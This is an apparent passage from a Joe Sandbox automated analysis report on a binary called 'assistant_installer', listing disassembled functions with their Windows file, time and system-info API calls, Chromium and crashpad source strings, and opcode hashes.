                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateDirectoryErrorLast
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/client/crash_report_database_win.cc$CreateDirectory
                                                                                                                                                                                                                • API String ID: 1375471231-4140125794
                                                                                                                                                                                                                • Opcode ID: 30e3216143f9a187133ec9304bb8109cd75c5da8392747a1460b42f398b6cd5b
                                                                                                                                                                                                                • Instruction ID: 7cb6b26034d6dc7311f5d53e4b7353f15889fa0b45981813b9556fc62d451bac
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 30e3216143f9a187133ec9304bb8109cd75c5da8392747a1460b42f398b6cd5b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D0213F71A002289BFB10BB54DC46FFEB3A8EF44354F0440A9F949EB382D7795E488761
                                                                                                                                                                                                                Function 006F5E80 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 244COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: Internet Browser
                                                                                                                                                                                                                • API String ID: 4218353326-2063419344
                                                                                                                                                                                                                • Opcode ID: 1ff1791e091dac70bd9250233bfed8a806326150a8072214d0feca085a4be8c1
                                                                                                                                                                                                                • Instruction ID: c2d8af26c1178eb579a7fbb9ba234de5b0216fdcf70193ed2c755d20085817f4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1ff1791e091dac70bd9250233bfed8a806326150a8072214d0feca085a4be8c1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 70A121B0D04248AFEF11DFA4D845BBFBBF2AF05304F044059F546A7292DB75A949CBA2
                                                                                                                                                                                                                Function 00753180 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$OpenFile
                                                                                                                                                                                                                • API String ID: 4218353326-4080947147
                                                                                                                                                                                                                • Opcode ID: 345a212988f24af20efc34def51c7932ee986cf7b7b012446ff810a9f42f0b3f
                                                                                                                                                                                                                • Instruction ID: ca7e49b244924d97f46ea998a3313ecc5214af45617ead2ccb0f7db9bd7734ad
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 345a212988f24af20efc34def51c7932ee986cf7b7b012446ff810a9f42f0b3f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B431E771904790ABE620AB288C06B6EBB64FFC6770F10471DF9F4972C1D7B896458683
                                                                                                                                                                                                                Function 007EAA84 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetFilePointerEx.KERNELBASE ref: 007EAAF5
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EAB32
                                                                                                                                                                                                                • SetFilePointerEx, xrefs: 007EAB42
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FilePointer
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$SetFilePointerEx
                                                                                                                                                                                                                • API String ID: 973152223-2639227240
                                                                                                                                                                                                                • Opcode ID: 59737fac90db1d04022417b24179c0b38673b3a91406f6a33905ebb7c249c8fd
                                                                                                                                                                                                                • Instruction ID: ece1e9a7f1ce8f80d23c2c38b9edf47b859114e40d26be768cd7bfc8f8404aa5
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 59737fac90db1d04022417b24179c0b38673b3a91406f6a33905ebb7c249c8fd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: C221D8719043549BD720EF298806B9FB7EAFFC8710F01851EE959A7381D774A901C793
                                                                                                                                                                                                                Function 007EAB75 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 007EAA84: SetFilePointerEx.KERNELBASE ref: 007EAAF5
                                                                                                                                                                                                                • SetEndOfFile.KERNELBASE(007B87EB), ref: 007EABA0
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • SetEndOfFile, xrefs: 007EABE1
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EABCF
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$Pointer
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$SetEndOfFile
                                                                                                                                                                                                                • API String ID: 1339342385-591553600
                                                                                                                                                                                                                • Opcode ID: 9753f2d042088381f4ada7284c93f51bae4957cbc8437d1b471b7e33306aed01
                                                                                                                                                                                                                • Instruction ID: 74bd606425b9b76896db785830fce037fc356cf3b7d426eb5110a2c7b58739e8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9753f2d042088381f4ada7284c93f51bae4957cbc8437d1b471b7e33306aed01
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4E01D861A413187BFB207AA55C4BFBF771DDB05354F044064FE08AB282DA696D4486A7
                                                                                                                                                                                                                Function 007524E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00752551
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • DirectoryExists, xrefs: 0075252C
                                                                                                                                                                                                                • ../../base/files/file_util_win.cc, xrefs: 00752527
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$DirectoryExists
                                                                                                                                                                                                                • API String ID: 3188754299-2653227169
                                                                                                                                                                                                                • Opcode ID: a83423e46d51f7a8126d114bae708405b2a9492dc9ca4b5f499b089fc462773b
                                                                                                                                                                                                                • Instruction ID: 764eebfdcbadfb321c2d63220e66730ea780a8e144a88c6f80b038b24a8ed6a0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a83423e46d51f7a8126d114bae708405b2a9492dc9ca4b5f499b089fc462773b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1101A972A10781ABE7109B2C8C8656EB764FBCA770F100719F5F5972C2EBB4A5458682
                                                                                                                                                                                                                Function 00752320 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNELBASE(FFFFFFFF,?,00000000), ref: 00752391
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$PathExists
                                                                                                                                                                                                                • API String ID: 3188754299-1196770437
                                                                                                                                                                                                                • Opcode ID: e2f770045fe180400313ef0b252c9223d64a4add4282d9b62d3d2ecba39b88f4
                                                                                                                                                                                                                • Instruction ID: 825252a700f29e7fd724c18a772a533261d9c03063048663a9d24a7b47ca8b1a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e2f770045fe180400313ef0b252c9223d64a4add4282d9b62d3d2ecba39b88f4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4901DB716103816BD7109F2C8C4556EB764FFC6770F10071DF5F5962C2DB74A54586C2
                                                                                                                                                                                                                Function 0075A1D0 Relevance: 4.6, APIs: 3, Instructions: 71timeCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,006F10CE,00000001,?,00000000), ref: 0075A239
                                                                                                                                                                                                                • SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,006F10CE,00000001,?), ref: 0075A24B
                                                                                                                                                                                                                • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,006F10CE,00000001,?,00000000), ref: 0075A282
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Time$System$File$LocalSpecific
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 979780441-0
                                                                                                                                                                                                                • Opcode ID: d42168cb2d972e22288914e3ffd536e8263bb3fa236807c1fec8a1d441780822
                                                                                                                                                                                                                • Instruction ID: 754c9f267e3b87aa44b1cf4cdadb7b7096ec048e936e00ff6b8b04d312e1758d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d42168cb2d972e22288914e3ffd536e8263bb3fa236807c1fec8a1d441780822
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BD218D72E107869BD710DF34C841AA6B7A8FFDA354F144B1EF8C496241EB75D688C782
                                                                                                                                                                                                                Function 007EA51E Relevance: 4.6, APIs: 3, Instructions: 68fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ReadFile.KERNELBASE(00000000,00000000,7FFFFFFF,?,00000000,00000000,00000000), ref: 007EA553
                                                                                                                                                                                                                • ReadFile.KERNEL32(00000000,?,7FFFFFFF,FFFFFFFF,00000000), ref: 007EA58A
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007EA596
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileRead$ErrorLast
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1577890643-0
                                                                                                                                                                                                                • Opcode ID: 2504deb7caa5ba875ad5c74210c19c66375add3d1cf945fb3b135c40a501b5a7
                                                                                                                                                                                                                • Instruction ID: 8be393f98d92533fab8f4fc1d57bbd51a7fe667d4346479be0a2dba697139b4f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2504deb7caa5ba875ad5c74210c19c66375add3d1cf945fb3b135c40a501b5a7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8E1190717012196FCB14DF659DC4AAE77ACFB49330B200629E926DA2C0DA34AD1487A2
                                                                                                                                                                                                                Function 00758690 Relevance: 4.6, APIs: 3, Instructions: 56COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00758709
                                                                                                                                                                                                                • GetNativeSystemInfo.KERNELBASE ref: 00758731
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0075875C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: InfoInit_thread_footerInit_thread_headerNativeSystem
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 420575652-0
                                                                                                                                                                                                                • Opcode ID: cdc09a67d5268b2e4ed4ff4585e4c0f76b96250716e730441c1c97431c719f2c
                                                                                                                                                                                                                • Instruction ID: 7160bf18a1580458eefb1703826f8994d8595551a2bb7a1efb004d8dc6d9cd79
                                                                                                                                                                                                                • Opcode Fuzzy Hash: cdc09a67d5268b2e4ed4ff4585e4c0f76b96250716e730441c1c97431c719f2c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 40212731D04280C7E740DB2CE802BE5B3A0FF8A321F202325EC9993651EFB599958787
                                                                                                                                                                                                                Function 007EAC0E Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 48COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CloseHandle.KERNELBASE(007ACAFE), ref: 007EAC29
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CloseHandle, xrefs: 007EAC6A
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EAC58
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseHandle
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$CloseHandle
                                                                                                                                                                                                                • API String ID: 2962429428-1576210609
                                                                                                                                                                                                                • Opcode ID: f114f6e34ab0e84946edbb4f7c426f24f4f840ccdd2392d5e33feba2cf0da1ed
                                                                                                                                                                                                                • Instruction ID: 57c0d6ddec740ea3483e12c7b222e7ed89a3d3fa8a317beca63799aa2551aa7e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f114f6e34ab0e84946edbb4f7c426f24f4f840ccdd2392d5e33feba2cf0da1ed
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0001AC31A40318A7E62076649C5BF7F7759EB84750F410065FD456F3C2DB655D0485E2
                                                                                                                                                                                                                Function 00741B70 Relevance: 3.1, APIs: 2, Instructions: 62COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __aullrem.LIBCMT ref: 00741BAF
                                                                                                                                                                                                                  • Part of subcall function 00759A00: SystemFunction036.ADVAPI32(FFFFFFFF,FFFFFFFF,?,00741BE8,?,00000008,000000FF), ref: 00759A0E
                                                                                                                                                                                                                • __aullrem.LIBCMT ref: 00741C04
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: __aullrem$Function036System
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3297659922-0
                                                                                                                                                                                                                • Opcode ID: d82f2408dfc4785ca706576df82f56c3be42ed4e3d5b3bc482bb8c1f75d73ee7
                                                                                                                                                                                                                • Instruction ID: 1158daab987757fe2810a00d7df194dcd84a03acb4a9e3df705ec43edecd2337
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d82f2408dfc4785ca706576df82f56c3be42ed4e3d5b3bc482bb8c1f75d73ee7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2811D332A042106BC710AF2CCC0494A7BA6EBC5370F15872CF8F9972D1DB30A944C781
                                                                                                                                                                                                                Function 006F5A70 Relevance: 3.0, APIs: 2, Instructions: 50COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 006F5AB8
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 006F5B10
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Init_thread_footerInit_thread_header
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4092853384-0
                                                                                                                                                                                                                • Opcode ID: 9e8d4274446deef7f54d5dd3b9ebe141032151309e7b73b21dd1d4e72ed71d8a
                                                                                                                                                                                                                • Instruction ID: cf0e597aba11a041c4f1f1d507453d6520501712aeb416be50e54b77d0c7ee74
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9e8d4274446deef7f54d5dd3b9ebe141032151309e7b73b21dd1d4e72ed71d8a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 91016F71E0091CDBD710F76CF85269D7765FB02310F004175EE079B781EA356E008B92
                                                                                                                                                                                                                Function 0076CE6A Relevance: 1.6, APIs: 1, Instructions: 122COMMON
